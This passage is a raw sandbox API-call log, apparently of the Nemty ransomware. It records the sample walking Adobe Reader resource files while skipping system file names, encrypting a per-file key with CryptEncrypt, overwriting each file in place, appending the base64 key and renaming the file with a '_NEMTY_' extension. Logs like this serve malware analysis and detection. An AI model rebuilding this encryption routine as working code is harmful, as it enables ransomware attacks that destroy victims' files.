ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sv.txt", cAlternateFileName="DIF2A9~1.TXT")) returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2=".") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="..") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="...") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="windows") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="rsa") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="NTDETECT.COM") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="ntldr") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="MSDOS.SYS") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="IO.SYS") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="boot.ini") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="boot.ini") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="ntuser.dat") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="desktop.ini") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="CONFIG.SYS") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="RECYCLER") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="bootmgr") returned 1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="programdata") returned -1 [0216.407] lstrcmpiW (lpString1="DisplayLanguageNames.sv.txt", lpString2="appdata") returned 1 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.408] Sleep (dwMilliseconds=0x5) [0216.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a1c6b0, dwHighDateTime=0x1d561e8)) [0216.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a1c6b0, dwHighDateTime=0x1d561e8)) [0216.417] GetLastError () returned 0x0 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.417] GetLastError () returned 0x0 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.417] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.417] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="A2K40GOX1yn3HzLyl78DVBEXPP3lrEMzM3KwoBDzlT6CF4PqZo79aoaKAzcVSD4X\r\ng4KZ70eADPZAlsTIL6DDbuoHamFTs/8YNANXbLw4/mmHKex6TH/SgG7lwiwIcEL7\r\niyUWCzJNe/s5v5nBv4FmsKF0EoDdWc8mkBNyRBeWy6niyaxYy0Ad2PQWtlvKqXIy\r\n05qCKW+GtKpUUakOEHfvJU56/xCt1eQIykDgunwCGbmPXMU8qdICBUkOR9Iit2Hx\r\nHYnwz2huWg/lfxF5+zFF72MGTc+m5JJ/S/jUiOgRW+gbDuxTtZkfpIg4wWVSJiYC\r\nVHQMoEMbRmH+JMhF1irEoQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.419] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29020) returned 1 [0216.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7150) returned 0x6352c48 [0216.419] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.419] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7150, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7150, lpOverlapped=0x0) returned 1 [0216.422] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7150, lpOverlapped=0x0) returned 1 [0216.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.423] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x715c [0216.423] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.423] CloseHandle (hObject=0x2e8) returned 1 [0216.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.423] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt._nemty_kgobjgd_")) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.424] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7144, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sv_FI.txt", cAlternateFileName="DIE445~1.TXT")) returned 1 [0216.424] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2=".") returned 1 [0216.424] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="..") returned 1 [0216.424] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="...") returned 1 [0216.424] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="windows") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="rsa") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="NTDETECT.COM") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="ntldr") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="MSDOS.SYS") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="IO.SYS") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="boot.ini") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="boot.ini") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="ntuser.dat") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="desktop.ini") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="CONFIG.SYS") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="RECYCLER") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="bootmgr") returned 1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="programdata") returned -1 [0216.425] lstrcmpiW (lpString1="DisplayLanguageNames.sv_FI.txt", lpString2="appdata") returned 1 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.426] Sleep (dwMilliseconds=0x5) [0216.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a42810, dwHighDateTime=0x1d561e8)) [0216.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a42810, dwHighDateTime=0x1d561e8)) [0216.432] GetLastError () returned 0x0 [0216.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.432] GetLastError () returned 0x0 [0216.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.433] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.433] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.433] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="XLoAxLWwYr5L+hxlswS8p6cht5eNXrdYJxorSRAmJPahf/CXB4UykW1ItGnH5o+1\r\nT2UM7I0U5hGIhd+r7RK5HvX0wdJrZ3i4djnxtcLjfY+L2HgAc6pzkd9RR+8F/WJz\r\nh9697oCPKec7qg8/zWtt/dMTcz3i/cPiDWrwKklL91NA2Df7myURU16YKtoFyZlv\r\nqWSr2/U0I5oBLgmVaANba69nwe/R01ddMzNPU0OzxK6karxCSiuzutAgBcsjIEzH\r\nnTnWh0KZIDtnYa/UCRTjK8A+X1isYrqwhpANAHTMhfRcoucxt/0SvIkfSQ6/8y7x\r\nYdQdrn+lL0EYbIHahXR5Qw==\r\n", pcchString=0x653e5dc) returned 1 [0216.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.433] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28996) returned 1 [0216.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7140) returned 0x6352c48 [0216.434] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.434] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7140, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7140, lpOverlapped=0x0) returned 1 [0216.437] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.437] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7140, 